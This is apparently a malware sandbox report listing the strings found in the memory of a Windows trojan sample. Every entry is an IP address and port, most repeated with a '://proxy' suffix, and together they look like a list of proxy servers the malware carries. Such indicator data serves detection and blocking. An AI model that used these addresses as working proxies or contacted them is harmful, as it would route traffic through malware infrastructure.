Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.243.227.100:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.72.118.126
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.72.118.126://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.72.118.126:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.79.120.242:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.79.120.242:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.111.143.8:15777
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.111.143.8:15777://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.229.100.73
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.229.100.73://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.229.100.73:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.255.211.1:55438
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.255.211.1:55438://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA588000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.255.62.198:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.255.62.198:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.255.87.133:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.37.81.135:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.37.81.135:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC84E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.6.144.103:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.6.144.103:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.6.144.247:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.6.144.247:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.6.144.72:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.6.144.72:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.2.242:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.2.242:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.22.18:8199
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.22.18:8199://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.238.82:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.238.82:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.27.123:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.27.123:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.62.111:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.62.111:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.66.173.145:45685
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.66.173.145:45685://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.66.34.10:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.66.34.10:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.66.36.252:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.66.36.252:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE7B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.67.14.195:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.67.14.195:5678://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.67.27.189:49524
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.67.27.189:49524://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76AF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.67.77.41:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.67.77.41:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.7.252.165:3256
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.7.252.165:3256://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.88.11.215
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.88.11.215://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.88.11.215:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.89.10.51:44268
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.89.10.51:44268://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.89.251.210:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.89.251.210:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC559000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.89.85.249:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.89.85.249:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.91.117.59:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.91.117.59:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.91.45.12:51299
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.91.45.12:51299://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.91.45.12:51672
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.91.45.12:51672://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.91.98.115:8181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.91.98.115:8181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.92.111.49:52471
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.92.111.49:52471://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.92.140.113
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.92.140.113://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.92.140.113:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.92.56.65:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.92.56.65:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.92.77.241:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.92.77.241:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.102.111:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.102.111:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.142.35:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.142.35:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.155.74:3126
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.155.74:3126://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.245.81:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.245.81:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.35.49:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.35.49:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.48.45:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.48.45:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.133.137:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.133.137:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8FEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.140.158:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.140.158:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.192.154:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.192.154:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.222.132:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.222.132:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.139.26.54:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.139.26.54:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.156.28.43:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.156.28.43:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6718000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.18.73.60:5566
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.18.73.60:5566://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.182.79.112:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.182.79.112:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF23000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.135.60:18472
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.135.60:18472://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC019000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6564000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.141.160:12297
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6564000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.141.160:12297://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.143.172:47016
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.143.172:47016://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.144.55:9050
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.144.55:9050://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C775A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.73.7:12582
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C775D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.73.7:12582://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.73.7:64052
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.73.7:64052://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:13574
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:13574://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:18936
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:18936://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FBD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:29380
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:29380://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:3139
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:3139://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:37920
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:37920://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:49507
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:49507://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:49507x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:52593
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:52593://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.88.32:8001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.88.32:8001://proxy
